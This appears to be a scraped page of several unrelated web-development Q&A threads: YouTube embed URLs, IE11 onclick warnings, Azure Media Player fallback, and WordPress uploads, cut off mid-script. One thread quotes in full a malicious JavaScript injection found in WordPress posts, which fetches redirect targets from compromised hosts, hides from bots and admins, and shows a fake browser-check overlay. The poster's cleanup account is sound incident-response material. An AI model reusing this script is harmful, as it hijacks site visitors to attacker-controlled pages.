Load denied by X-Frame-Options: http://www.youtube.com/v/g5RM5StrMXY does not permit cross-origin framing - asp.net

I have a website in ASP.NET.
After page load, I am getting below error.
Error:
Load denied by X-Frame-Options: http://www.youtube.com/v/lgZBsWGaQY0&feature does not permit cross-origin framing.
Due to this error, youtube video is not able to open in iframe.
<div style="display: none; position: relative;">
<div id="divYouTubeClasses">
<iframe id="Iframe1" style="background-color: White !important; border: 0;" width="835"
height="430" src="http://www.youtube.com/v/g5RM5StrMXY" scrolling="no"></iframe>
</div>
</div>
Please provide some solution for this error.

Original URL in Query
http://www.youtube.com/v/lgZBsWGaQY0&feature
Expected URL
http://www.youtube.com/embed/lgZBsWGaQY0?autoplay=1

YouTube Urls must be cleaned and normalized before inserting them into an iframe. Here is my Common js compliant library I created to clean and normalize YouTube urls.
var getVidId = function(url)
{
var vidId;
if(url.indexOf("youtube.com/watch?v=") !== -1)//https://m.youtube.com/watch?v=e3S9KINoH2M
{
vidId = url.substr(url.indexOf("youtube.com/watch?v=") + 20);
}
else if(url.indexOf("youtube.com/watch/?v=") !== -1)//https://m.youtube.com/watch/?v=e3S9KINoH2M
{
vidId = url.substr(url.indexOf("youtube.com/watch/?v=") + 21);
}
else if(url.indexOf("youtu.be") !== -1)
{
vidId = url.substr(url.indexOf("youtu.be") + 9);
}
else if(url.indexOf("www.youtube.com/embed/") !== -1)
{
vidId = url.substr(url.indexOf("www.youtube.com/embed/") + 22);
}
else if(url.indexOf("?v=") !== -1)// http://m.youtube.com/?v=tbBTNCfe1Bc
{
vidId = url.substr(url.indexOf("?v=")+3, 11);
}
else
{
console.warn("YouTubeUrlNormalize getVidId not a youTube Video: "+url);
vidId = null;
}
if(vidId.indexOf("&") !== -1)
{
vidId = vidId.substr(0, vidId.indexOf("&") );
}
return vidId;
};
var YouTubeUrlNormalize = function(url)
{
var rtn = url;
if(url)
{
var vidId = getVidId(url);
if(vidId)
{
rtn = "https://www.youtube.com/embed/"+vidId;
}
else
{
rtn = url;
}
}
return rtn;
};
YouTubeUrlNormalize.getThumbnail = function(url, num)
{
var rtn, vidId = getVidId(url);
if(vidId)
{
if(!isNaN(num) && num <= 4 && num >= 0)
{
rtn = "http://img.youtube.com/vi/"+vidId+"/"+num+".jpg";
}
else
{
rtn = "http://img.youtube.com/vi/"+getVidId(url)+"/default.jpg";
}
}
else
{
return null;
}
return rtn;
};
YouTubeUrlNormalize.getFullImage = function(url)
{
var vidId = getVidId(url);
if(vidId)
{
return "http://img.youtube.com/vi/"+vidId+"/0.jpg";
}
else
{
return null;
}
};
if ( typeof exports !== "undefined" ) {
module.exports = YouTubeUrlNormalize;
}
else if ( typeof define === "function" ) {
define( function () {
return YouTubeUrlNormalize;
} );
}
else {
window.YouTubeUrlNormalize = YouTubeUrlNormalize;
}
Updated to accommodate YouTube Mobile urls. ie: m.youtube.com
Updated to get images as well, and protect against GET vars in the url

These steps will make you understand how it is done :
Use the youtube site to find the video you want
Click the 'Share' button below the video
Click the 'Embed' button next to the link they show you
Copy the iframe code given and paste it into the html of your web
page.
You can see well here that the url is generated by /embed which goes with the first ansewer.

Related

Suspicious code in WordPress any idea how to remove this?

(function () {
//<script>
var w_location = null;
var domains = [
'http://kntsv.nl/images/tmp.php',
'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
'http://langedijke.nl/plugins/tmp.php',
'http://megateuf.edelo.net/cgi-bin/tmp.php',
'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
'http://yofeet.com/drupal/modules/tmp.php',
'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
'http://www.devonportmotors.co.nz/images/tmp.php'
];
function getDomainName(domain) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (xhr.responseText && xhr.responseText.trim().length > 0) {
w_location = xhr.responseText.trim();
}
}
};
xhr.open('GET', domains[0], true);
xhr.send();
}
for (var i = 0; i < domains.length; i++) {
getDomainName(domains[i]);
}
function start() {
var from = document.referrer;
var i;
// If it's direct
var eee = ["", " "];
var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
if (checkCookie()) {
return;
}
var uagent = navigator.userAgent;
if (!uagent || uagent.length == 0) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
|| uagent.indexOf('crawl') != -1) {
} else {
hideWebSite();
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
return true;
} else {
localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
}
var referrerRedirectCookie = getCookie("referrerRedirectCookie");
if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
return true;
} else if (document.cookie.indexOf('wordpress_logged') !== -1
|| document.cookie.indexOf('wp-settings') !== -1
|| document.cookie.indexOf('wordpress_test') !== -1) {
return true;
} else {
setCookie("referrerRedirectCookie", "do not redirect", 730);
return false;
}
}
}
function createPopup() {
var popup = document.createElement('div');
popup.style.position = 'absolute';
popup.style.width = '100%';
popup.style.height = '100%';
popup.style.left = 0;
popup.style.top = 0;
popup.style.backgroundColor = 'white';
popup.style.zIndex = 99999;
document.body.appendChild(popup);
popup.onclick = function () {
var intervalId = setInterval(() = > {
if (
!w_location
)
{
return;
}
clearInterval(intervalId);
window.location = w_location;
},
10
)
;
};
var p = document.createElement('p');
p.innerText = "Checking your browser before accessing "
+ window.location.host + "...";
p.style.textAlign = 'center';
//p.style.margin = '20px auto';
//p.style.left = '20px';
p.style.fontSize = 'x-large';
p.style.position = 'relative';
p.textContent = p.innerText;
popup.appendChild(p);
return popup;
}
function createButton() {
var button = document.createElement('div');
button.style.position = 'absolute';
button.style.top = '20%';
button.style.left = '10%';
button.style.right = '10%';
button.style.width = '80%';
button.style.border = "1px solid black";
button.style.textAlign = 'center';
button.style.verticalAlign = 'middle';
button.style.margin = '0, auto';
button.style.cursor = 'pointer';
button.style.fontSize = 'xx-large';
button.style.borderRadius = '5px';
button.onclick = function () {
window.location = w_location;
};
button.onmouseover = function () {
button.style.border = '1px solid red';
button.style.color = 'red';
};
button.onmouseout = function () {
button.style.border = '1px solid black';
button.style.color = 'black';
};
button.innerText = "Continue";
button.textContent = button.innerText;
return button;
}
var hideWebSite = function () {
var popup = createPopup();
var button = createButton();
popup.appendChild(button);
};
var readyStateCheckInterval = setInterval(function () {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
//</script>
})
I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.
I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.
UPDATE
This is what the site shows when infected:
You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.
If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:
Upon further investigation we found the following:
As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).
We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:
Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE
Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.
This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):
And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:
We checked for other pages and posts in the site and the same injected code was present in them.
Once we cleaned them all the infection seems to be gone.
So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.
Besides the clean up we also did the following:
Updated the system password database
Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
Updated the passwords for users ‘admin’ and my user
Recreated users with new passwords for blog editors
In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.
I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.

<a onclick"sth" .. cause IE11 warn and prompt for adding about:blank as Trusted Site

I have jqgrid on asp .NET web page.
When page is loaded and grid loads its data, after it receives json, before data is shown on grid, I get error message from IE:
Internet Explorer 11.0.9600.17728
It wants me to add about:blank to Trusted Sites.
When i click "close" rows appear.
Row`s html is as follows:
<a onclick="
OpenWindow('/13_1/Workflow.TasksWebPresUnit/TaskDetails/Index/?
taskDn=WFL///70000/.321360&isModal=True&
returnUrl=/13_1/Workflow.TasksWebPresUnit&
userId=5&
componentsToSet=test*testc', 'Details', '90%', '0', false, '¡',true);"
href="#">P01.07 Verification
</a>
No matter what I put in onclick, can be "blahblah", same with href, can be "foobar",
<a onclick="
abcd"
href="xyz">P01.07 Verification
</a>
i get that error window.
But, when I construct row's html that it not contain "onclick=sth", then i do not get this error.
Is there any way to stop IE from warning user or maybe I`m doing somethiong wrong?
Any help / clarification appreciated.
p.s. If i add about:blank to trusted sites, the problem is gone, but i don`t understand fully if this is secure solution.
Update 1: script
function OpenWindow(url, title, width, height, checkValue, multiSepar, showCloseButton) {
var progressIndImg = GLOBAL_CSS_PATH + '/Technology/modal/images/waiting.gif';
if (checkValue) {
var queryVals = parseQueryString(url);
var relatedComp = queryVals['componentToFill'];
var relatedVal = document.getElementById(relatedComp);
if (relatedVal.value != null && relatedVal.value != '') {
var win = dhtmlmodal.open('ModalBox', 'iframe', url, title, 'width=' + width + ', height=' + height + ',center=1,resize=1,scrolling=1', '', progressIndImg, showCloseButton);
win.onclose = function () {
return true;
}
}
} else {
var win = dhtmlmodal.open('ModalBox', 'iframe', url, title, 'width=' + width + ', height=' + height + ',center=1,resize=1,scrolling=1', '', progressIndImg, showCloseButton);
win.onclose = function () {
return true;
}
}
// } else {
// setInterval(checkForMessages, 200);
// }
// var ie7 = (navigator.appVersion.indexOf('MSIE 7.') == -1) ? false : true;
// if (ie7 != true) {
var onmessage = function (e) {
try {
var objects = JSON.parse(e.data);
if (window.addEventListener) {
window.removeEventListener('message', onmessage, false);
}
else if (window.attachEvent) {
window.detachEvent('onmessage', onmessage);
}
if (objects['methodName'] != null)
window[objects['methodName']](objects);
else
FillData(objects, true, multiSepar);
var close = objects['close'];
if (close == 'true') {
win.hide();
win.close();
}
}
catch (err) {
if (console)
console.error(err);
}
};
if (window.addEventListener) {
window.addEventListener('message', onmessage, false);
} else if (window.attachEvent) {
window.attachEvent('onmessage', onmessage);
}

Azure Media Player Silverlight fallback not working

I have used the azure media player with my project, it will play multiple adaptive bit rate streamed videos in an asp.net page, the best part is, it is working superb in html5 and flash but it will get stuck at spinner image in silverlight fallback.
Below is the code I have used.
I have also tried to get errors but it is not hitting the event listener code added for errors, but the play and pause events are working fine where flash and html5 is used, but silverlight fallback is not working at all.
<link href="https://amp.azure.net/libs/amp/1.3.0/skins/amp-default/azuremediaplayer.min.css" rel="stylesheet">
<script src="https://amp.azure.net/libs/amp/1.3.0/azuremediaplayer.min.js"></script>
<div class="marginBlock">
<h3>
<asp:Label ID="lblTitle" runat="server"><%=Title.ToString()%></asp:Label>
</h3>
<video id="<%=mediaPlayerID %>" class="azuremediaplayer amp-default-skin amp-big-play-centered">
<p class="amp-no-js">
To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML 5 video.
</p>
</video>
</div>
<p>
<asp:Label ID="lblDescription" runat="server"><%=Description.ToString()%>
</asp:Label>
</p>
<script>
$(document).ready(function () {
var playOptions = {
"nativeControlsForTouch": false,
techOrder: ['azureHtml5JS', 'flashSS', 'silverlightSS', 'html5'],
autoplay: false,
controls: true,
width: '100%',
height: '400',
logo: { enabled: false },
poster: "<%=ImageSelector%>"
}
var azurePlayer = amp('<%=mediaPlayerID%>', playOptions);
azurePlayer.src([{
src: "<%=VideoURL%>",
type: 'application/vnd.ms-sstr+xml'
}]);
azurePlayer.addEventListener("error", function () {
var errorDetails = azurePlayer.error();
var code = errorDetails.code;
var message = errorDetails.message;
alert(errorDetails + ' ' + code + " " + message);
if (azurePlayer.error().code & amp.errorCode.abortedErrStart) {
console.log("abortedErrStart");
}
else if (azurePlayer.error().code & amp.errorCode.networkErrStart) {
// MEDIA_ERR_NETWORK errors
console.log("networkErrStart");
}
else if (azurePlayer.error().code & amp.errorCode.decodeErrStart) {
// MEDIA_ERR_DECODE errors
console.log("decodeErrStart");
}
else if (azurePlayer.error().code & amp.errorCode.srcErrStart) {
// MEDIA_ERR_SRC_NOT_SUPPORTED errors
console.log("srcErrStart");
}
else if (azurePlayer.error().code & amp.errorCode.encryptErrStart) {
// MEDIA_ERR_ENCRYPTED errors
console.log("encryptErrStart");
}
else if (azurePlayer.error().code & amp.errorCode.srcPlayerMismatchStart) {
// SRC_PLAYER_MISMATCH errors
console.log("srcPlayerMismatchStart");
}
else {
// unknown errors
console.log("unknown");
}
});
azurePlayer.addEventListener('play', function () {
console.log('play');
});
azurePlayer.addEventListener('pause', function () {
console.log('pause');
});
});
Updated
Noticed I am getting following error for IE < 11.
Also I disabled the flash in firefox and removed the silverlight from techOrder, then it should hit the error event listener, it is not hitting.
This is also important for me to handle the analytics for error.
Play and Pause event listener are working fine.
Update 8/28/2015:
Fixed the JS error, it is because of multiple call to cdn of azure mentioned in link above, moved the code in master page and load it only once, browser like chrome handles duplicity of code easily but not IE.
After all the research I am lost why it is not working.
So added the following JS that will check for Silverlight and Flash and gracefully handle the error and update our analytics as well.
function getBrowserInformation() {
var ua = navigator.userAgent, tem, M = ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
if (/trident/i.test(M[1])) {
tem = /\brv[ :]+(\d+)/g.exec(ua) || [];
return { name: 'IE ', version: (tem[1] || '') };
}
if (M[1] === 'Chrome') {
tem = ua.match(/\bOPR\/(\d+)/)
if (tem != null) { return { name: 'Opera', version: tem[1] }; }
}
M = M[2] ? [M[1], M[2]] : [navigator.appName, navigator.appVersion, '-?'];
if ((tem = ua.match(/version\/(\d+)/i)) != null) { M.splice(1, 1, tem[1]); }
return {
name: M[0],
version: M[1]
};};
function checkForAzureErrors() {
function isSilverlightInstalled() {
var isSilverlightInstalled = false;
try {
//check on IE
try {
var slControl = new ActiveXObject('AgControl.AgControl');
isSilverlightInstalled = true;
}
catch (e) {
//either not installed or not IE. Check Firefox/Safari
if (navigator.plugins["Silverlight Plug-In"]) {
isSilverlightInstalled = true;
}
}
}
catch (e) {
console.log(e);
}
return isSilverlightInstalled;
}
function isFlashInstalled() {
try {
return Boolean(new ActiveXObject('ShockwaveFlash.ShockwaveFlash'));
} catch (exception) {
return ('undefined' != typeof navigator.mimeTypes['application/x-shockwave-flash']);
}
}
function addErrorMessage() {
$($("#mediaPlayer.marginBlock").find('h3')).text('Media is not supported on this browser or device.');
$($("#mediaPlayer.marginBlock").find('video')).css('display', 'none');
$($("#mediaPlayer.marginBlock").find('p')).css('display', 'none');
$('.azuremediaplayer').css('display', 'none');
ga("send", "event", "Videos", "error",
getBrowserInformation().name + getBrowserInformation().version +
": is silverlight Installed " + isSilverlightInstalled() +
" and is Flash Installed " + isFlashInstalled());
}
function checkBrowser() {
if ((getBrowserInformation().name === 'MSIE' || getBrowserInformation().name === 'IE')) {
if (getBrowserInformation().version < 11) {
addErrorMessage();
}
} else if (getBrowserInformation().name === 'Firefox') {
addErrorMessage();
}
}
if ((getBrowserInformation().name === 'MSIE' || getBrowserInformation().name === 'IE')) {
if (getBrowserInformation().version < 9) { addErrorMessage() }
}
for (var key in amp.players) {
if (amp.players.hasOwnProperty(key)) {
if (isSilverlightInstalled()) {
if (!amp.players[key].isReady_) {
checkBrowser();
}
} else if (!isFlashInstalled()) {
checkBrowser();
}
}
}}
This function is called after 5 second of page load in document.ready function, giving it enough time to load and make the isReady_boolean true.
SetTimeout(function () { checkForAzureErrors(); }, 5000);
Still I am waiting for some angel to resolve this issue.
Updates: Partially Fixed
Need to add the xap refrences like older version, it will play silverlight but there is a catch, it will only work if you have one video per page.
<script>
amp.options.flashSS.swf = "http://amp.azure.net/libs/amp/1.3.0/techs/StrobeMediaPlayback.2.0.swf"
amp.options.flashSS.plugin = "http://amp.azure.net/libs/amp/1.3.0/techs/MSAdaptiveStreamingPlugin-osmf2.0.swf"
amp.options.silverlightSS.xap = "http://amp.azure.net/libs/amp/1.3.0/techs/SmoothStreamingPlayer.xap"
</script>
Fixed
As per comments from Amit Rajput
#Parshii Currently, as per the documentation, Azure Media Player doesn't support multi-instance playback. While it may work on some techs, it is not a tested scenario at this time. Please feel free to add it to the UserVoice forum (http://aka.ms/ampuservoice).
As per my testing it is working in html5 and flash but not Silverlight, for silverlight support we can try using iframes as per comments from rnrneverdies
Single Instance Media Player is working in all techs.
#Parshii Currently, as per the documentation, Azure Media Player doesn't support multi-instance playback. While it may work on some techs, it is not a tested scenario at this time. Please feel free to add it to the UserVoice forum (http://aka.ms/ampuservoice).
This may be not a complete answer, but could help you.
I made the following plugin for the Azure Media Player 1.3.0 which logs all the activity performed by the user and also the errors.
Set up it as:
var mylogFunction = function(data) { console.log(data); };
var options = {
techOrder: ["azureHtml5JS", "flashSS", "silverlightSS", "html5"],
nativeControlsForTouch: false,
loop: false,
logo: { enabled: false },
heuristicProfile: "Quick Start", //"High Quality", // could be "Quick Start"
customPlayerSettings: {
customHeuristicSettings: {
preRollInSec: 4,
windowSizeHeuristics: true
}
},
plugins: {
DebugLog: {
logFunction: mylogFunction
}
}
};
var amPlayer = amp("yourvideotagid", options);
Plugin Code:
var amp;
(function (amp) {
amp.plugin('DebugLog', DebugLog);
function DebugLog(options) {
var player = this;
var log = function (data) { console.log("Azure Media Player Log", data); }
if (options) {
if (options['logFunction']) {
log = options['logFunction'];
}
}
init();
function init() {
player.ready(handleReady);
player.addEventListener(amp.eventName.error, handleError);
}
function handleReady() {
player.addEventListener(amp.eventName.loadedmetadata, handleLoadedMetaData);
var data = {
ampVersion: "1.3.0",
appName: options['appName'],
userAgent: navigator.userAgent,
options: {
autoplay: player.options().autoplay,
heuristicProfile: player.options().heuristicProfile,
techOrder: JSON.stringify(player.options().techOrder)
}
};
logData("InstanceCreated", 1, data);
}
function handleError() {
var err = player.error();
var data = {
sessionId: player.currentSrc(),
currentTime: player.currentTime(),
code: "0x" + err.code.toString(16),
message: err.message
};
logData("Error", 0, data);
}
function handleLoadedMetaData() {
player.addEventListener(amp.eventName.playbackbitratechanged, handlePlaybackBitrateChanged);
player.addEventListener(amp.eventName.playing, handlePlaying);
player.addEventListener(amp.eventName.seeking, handleSeeking);
player.addEventListener(amp.eventName.pause, handlePaused);
player.addEventListener(amp.eventName.waiting, handleWaiting);
player.addEventListener(amp.eventName.ended, handleEnded);
if (player.audioBufferData()) {
player.audioBufferData().addEventListener(amp.bufferDataEventName.downloadfailed, function () {
var data = {
sessionId: player.currentSrc(),
currentTime: player.currentTime(),
bufferLevel: player.audioBufferData().bufferLevel,
url: player.audioBufferData().downloadFailed.mediaDownload.url,
code: "0x" + player.audioBufferData().downloadFailed.code.toString(16),
message: player.audioBufferData().downloadFailed
};
logData("DownloadFailed", 0, data);
});
}
if (player.videoBufferData()) {
player.videoBufferData().addEventListener(amp.bufferDataEventName.downloadfailed, function () {
var data = {
sessionId: player.currentSrc(),
currentTime: player.currentTime(),
bufferLevel: player.videoBufferData().bufferLevel,
url: player.videoBufferData().downloadFailed.mediaDownload.url,
code: "0x" + player.videoBufferData().downloadFailed.code.toString(16),
message: player.videoBufferData().downloadFailed
};
logData("DownloadFailed", 0, data);
});
}
var data = {
sessionId: player.currentSrc(),
isLive: player.isLive(),
duration: player.duration(),
tech: player.currentTechName(),
protection: ((player.currentProtectionInfo() && player.currentProtectionInfo()[0]) ? player.currentProtectionInfo()[0].type : "clear")
};
logData("PresentationInfo", 1, data);
}
function handlePlaybackBitrateChanged(event) {
logData("BitrateChanged", 1, eventData(event));
}
function handleWaiting(event) {
logData("Waiting", 0, eventData(event));
}
function handlePlaying(event) {
logData("Playing", 1, eventData(event));
}
function handleSeeking(event) {
logData("Seeking", 1, eventData(event));
}
function handlePaused(event) {
logData("Paused", 1, eventData(event));
}
function handleEnded(event) {
logData("Ended", 1, eventData(event));
}
function logData(eventId, level, data) {
var eventLog = {
eventId: eventId,
level: level,
data: data
};
log(eventLog);
}
function eventData(event) {
return {
sessionId: player.currentSrc(),
currentTime: player.currentTime(),
isLive: player.isLive(),
event: event.type,
presentationTimeInSec: event.presentationTimeInSec,
message: event.message ? event.message : ""
};
}
}
})(amp || (amp = {}));

How to upload a file from custom file in wordpress

I am using file uploader from one of the plugin.
That php file called at file onchange event by ajax.
I got a file at php.
I can upload file manually by the help of this
$target_path = "../../../uploads/extension/";
$target_path = $target_path . basename( $_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
But i want upload a file like other file uploading in Media. Its stored in uploads/2014/07 (i.e) upload/yearFolder/MonthFolder.
How to upload file like wise. I used wp_handle_upload(). but it returns undefined to call. So how to upload file.
Use the given steps
ajaxupload.3.5.js Code
/**
* Ajax upload
* Project page - http://valums.com/ajax-upload/
* Copyright (c) 2008 Andris Valums, http://valums.com
* Licensed under the MIT license (http://valums.com/mit-license/)
* Version 3.5 (23.06.2009)
*/
/**
* Changes from the previous version:
* 1. Added better JSON handling that allows to use 'application/javascript' as a response
* 2. Added demo for usage with jQuery UI dialog
* 3. Fixed IE "mixed content" issue when used with secure connections
*
* For the full changelog please visit:
* http://valums.com/ajax-upload-changelog/
*/
(function(){
var d = document, w = window;
/**
* Get element by id
*/
function get(element){
if (typeof element == "string")
element = d.getElementById(element);
return element;
}
/**
* Attaches event to a dom element
*/
function addEvent(el, type, fn){
if (w.addEventListener){
el.addEventListener(type, fn, false);
} else if (w.attachEvent){
var f = function(){
fn.call(el, w.event);
};
el.attachEvent('on' + type, f)
}
}
/**
* Creates and returns element from html chunk
*/
var toElement = function(){
var div = d.createElement('div');
return function(html){
div.innerHTML = html;
var el = div.childNodes[0];
div.removeChild(el);
return el;
}
}();
function hasClass(ele,cls){
return ele.className.match(new RegExp('(\\s|^)'+cls+'(\\s|$)'));
}
function addClass(ele,cls) {
if (!hasClass(ele,cls)) ele.className += " "+cls;
}
function removeClass(ele,cls) {
var reg = new RegExp('(\\s|^)'+cls+'(\\s|$)');
ele.className=ele.className.replace(reg,' ');
}
// getOffset function copied from jQuery lib (http://jquery.com/)
if (document.documentElement["getBoundingClientRect"]){
// Get Offset using getBoundingClientRect
// http://ejohn.org/blog/getboundingclientrect-is-awesome/
var getOffset = function(el){
var box = el.getBoundingClientRect(),
doc = el.ownerDocument,
body = doc.body,
docElem = doc.documentElement,
// for ie
clientTop = docElem.clientTop || body.clientTop || 0,
clientLeft = docElem.clientLeft || body.clientLeft || 0,
// In Internet Explorer 7 getBoundingClientRect property is treated as physical,
// while others are logical. Make all logical, like in IE8.
zoom = 1;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
if (zoom > 1){
clientTop = 0;
clientLeft = 0;
}
var top = box.top/zoom + (window.pageYOffset || docElem && docElem.scrollTop/zoom || body.scrollTop/zoom) - clientTop,
left = box.left/zoom + (window.pageXOffset|| docElem && docElem.scrollLeft/zoom || body.scrollLeft/zoom) - clientLeft;
return {
top: top,
left: left
};
}
} else {
// Get offset adding all offsets
var getOffset = function(el){
if (w.jQuery){
return jQuery(el).offset();
}
var top = 0, left = 0;
do {
top += el.offsetTop || 0;
left += el.offsetLeft || 0;
}
while (el = el.offsetParent);
return {
left: left,
top: top
};
}
}
function getBox(el){
var left, right, top, bottom;
var offset = getOffset(el);
left = offset.left;
top = offset.top;
right = left + el.offsetWidth;
bottom = top + el.offsetHeight;
return {
left: left,
right: right,
top: top,
bottom: bottom
};
}
/**
* Crossbrowser mouse coordinates
*/
function getMouseCoords(e){
// pageX/Y is not supported in IE
// http://www.quirksmode.org/dom/w3c_cssom.html
if (!e.pageX && e.clientX){
// In Internet Explorer 7 some properties (mouse coordinates) are treated as physical,
// while others are logical (offset).
var zoom = 1;
var body = document.body;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
return {
x: e.clientX / zoom + d.body.scrollLeft + d.documentElement.scrollLeft,
y: e.clientY / zoom + d.body.scrollTop + d.documentElement.scrollTop
};
}
return {
x: e.pageX,
y: e.pageY
};
}
/**
* Function generates unique id
*/
var getUID = function(){
var id = 0;
return function(){
return 'ValumsAjaxUpload' + id++;
}
}();
function fileFromPath(file){
return file.replace(/.*(\/|\\)/, "");
}
function getExt(file){
return (/[.]/.exec(file)) ? /[^.]+$/.exec(file.toLowerCase()) : '';
}
// Please use AjaxUpload , Ajax_upload will be removed in the next version
Ajax_upload = AjaxUpload = function(button, options){
if (button.jquery){
// jquery object was passed
button = button[0];
} else if (typeof button == "string" && /^#.*/.test(button)){
button = button.slice(1);
}
button = get(button);
this._input = null;
this._button = button;
this._disabled = false;
this._submitting = false;
// Variable changes to true if the button was clicked
// 3 seconds ago (requred to fix Safari on Mac error)
this._justClicked = false;
this._parentDialog = d.body;
if (window.jQuery && jQuery.ui && jQuery.ui.dialog){
var parentDialog = jQuery(this._button).parents('.ui-dialog');
if (parentDialog.length){
this._parentDialog = parentDialog[0];
}
}
this._settings = {
// Location of the server-side upload script
action: 'upload.php',
// File upload name
name: 'userfile',
// Additional data to send
data: {},
// Submit file as soon as it's selected
autoSubmit: true,
// The type of data that you're expecting back from the server.
// Html and xml are detected automatically.
// Only useful when you are using json data as a response.
// Set to "json" in that case.
responseType: false,
// When user selects a file, useful with autoSubmit disabled
onChange: function(file, extension){},
// Callback to fire before file is uploaded
// You can return false to cancel upload
onSubmit: function(file, extension){},
// Fired when file upload is completed
// WARNING! DO NOT USE "FALSE" STRING AS A RESPONSE!
onComplete: function(file, response) {}
};
// Merge the users options with our defaults
for (var i in options) {
this._settings[i] = options[i];
}
this._createInput();
this._rerouteClicks();
}
// assigning methods to our class
AjaxUpload.prototype = {
setData : function(data){
this._settings.data = data;
},
disable : function(){
this._disabled = true;
},
enable : function(){
this._disabled = false;
},
// removes ajaxupload
destroy : function(){
if(this._input){
if(this._input.parentNode){
this._input.parentNode.removeChild(this._input);
}
this._input = null;
}
},
/**
* Creates invisible file input above the button
*/
_createInput : function(){
var self = this;
var input = d.createElement("input");
input.setAttribute('type', 'file');
input.setAttribute('name', this._settings.name);
input.setAttribute('id', this._settings.name);
var styles = {
'position' : 'absolute'
,'margin': '-5px 0 0 -175px'
,'padding': 0
,'top': '590px !important'
,'left': '560px !important'
,'width': '110px'
,'height': '30px'
,'fontSize': '14px'
,'opacity': 0
,'cursor': 'pointer'
,'display' : 'none'
,'zIndex' : 2147483583 //Max zIndex supported by Opera 9.0-9.2x
// Strange, I expected 2147483647
};
for (var i in styles){
input.style[i] = styles[i];
}
// Make sure that element opacity exists
// (IE uses filter instead)
if ( ! (input.style.opacity === "0")){
input.style.filter = "alpha(opacity=0)";
}
this._parentDialog.appendChild(input);
addEvent(input, 'change', function(){
// get filename from input
var file = fileFromPath(this.value);
if(self._settings.onChange.call(self, file, getExt(file)) == false ){
return;
}
// Submit form when value is changed
if (self._settings.autoSubmit){
self.submit();
}
});
// Fixing problem with Safari
// The problem is that if you leave input before the file select dialog opens
// it does not upload the file.
// As dialog opens slowly (it is a sheet dialog which takes some time to open)
// there is some time while you can leave the button.
// So we should not change display to none immediately
addEvent(input, 'click', function(){
self.justClicked = true;
setTimeout(function(){
// we will wait 3 seconds for dialog to open
self.justClicked = false;
}, 3000);
});
this._input = input;
},
_rerouteClicks : function (){
var self = this;
// IE displays 'access denied' error when using this method
// other browsers just ignore click()
// addEvent(this._button, 'click', function(e){
// self._input.click();
// });
var box, dialogOffset = {top:0, left:0}, over = false;
addEvent(self._button, 'mouseover', function(e){
if (!self._input || over) return;
over = true;
box = getBox(self._button);
if (self._parentDialog != d.body){
dialogOffset = getOffset(self._parentDialog);
}
});
// we can't use mouseout on the button,
// because invisible input is over it
addEvent(document, 'mousemove', function(e){
var input = self._input;
if (!input || !over) return;
if (self._disabled){
removeClass(self._button, 'hover');
input.style.display = 'none';
return;
}
var c = getMouseCoords(e);
if ((c.x >= box.left) && (c.x <= box.right) &&
(c.y >= box.top) && (c.y <= box.bottom)){
input.style.top = c.y - dialogOffset.top + 'px';
input.style.left = c.x - dialogOffset.left + 'px';
input.style.display = 'block';
addClass(self._button, 'hover');
} else {
// mouse left the button
over = false;
if (!self.justClicked){
input.style.display = 'none';
}
